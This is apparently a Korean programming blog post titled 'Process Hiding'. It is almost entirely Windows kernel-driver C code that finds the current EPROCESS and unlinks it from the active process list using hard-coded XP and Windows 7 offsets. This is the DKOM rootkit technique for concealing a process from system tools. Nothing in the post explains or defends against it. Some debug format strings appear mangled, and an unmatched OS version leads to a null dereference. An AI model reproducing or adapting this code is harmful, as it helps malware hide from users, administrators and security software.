한 걸음씩..

프로세스 숨기기 본문

프로그래밍

프로세스 숨기기

반엘 2013. 7. 22. 09:00

#define XP_EPROC_OFFSET            0x88

#define WIN7_EPROC_OFFSET        0xb8       

 

    // Process Hide

        ULONG                eproc                = 0;

        PLIST_ENTRY            plist_active_procs    = NULL;

        RTL_OSVERSIONINFOW    OsVersionInfo        = { 0, };

        NTSTATUS            NtStatus            = STATUS_SUCCESS;


        eproc = (ULONG) PsGetCurrentProcess();

        if ( eproc <= 0 )

        {

            goto IOMANCREATECLOSE__GOTO_END;

        }


        OsVersionInfo.dwOSVersionInfoSize = sizeof( RTL_OSVERSIONINFOW );

        NtStatus = RtlGetVersion( &OsVersionInfo );

        if( !NT_SUCCESS(NtStatus) )

        {

            DbgPrint( "IOMANCreateClose : RtlGetVersion Error : 0xx \n", NtStatus );

            goto IOMANCREATECLOSE__GOTO_END;

        }

        else

        {

            DbgPrint( "MJ : 0xx, MN : 0xx \n", OsVersionInfo.dwMajorVersion, OsVersionInfo.dwMinorVersion );


            // WIN7

            if ( (OsVersionInfo.dwMajorVersion == OS_MJ_VERSION__WIN7) && (OsVersionInfo.dwMinorVersion == 1) )

            {

                plist_active_procs = (LIST_ENTRY *)(eproc+WIN7_EPROC_OFFSET); // FLINKOFFSET

            }


            // XP 일 경우 

            else if ( OsVersionInfo.dwMajorVersion == OS_MJ_VERSION__XP )

            {

                plist_active_procs = (LIST_ENTRY *)(eproc+XP_EPROC_OFFSET); // FLINKOFFSET

            }


            *((ULONG *)plist_active_procs->Blink) = (ULONG) plist_active_procs->Flink;

            *((ULONG *)plist_active_procs->Flink+1) = (ULONG) plist_active_procs->Blink;


            plist_active_procs->Flink = (LIST_ENTRY *)&(plist_active_procs->Flink);

            plist_active_procs->Blink = (LIST_ENTRY *)&(plist_active_procs->Flink);

        }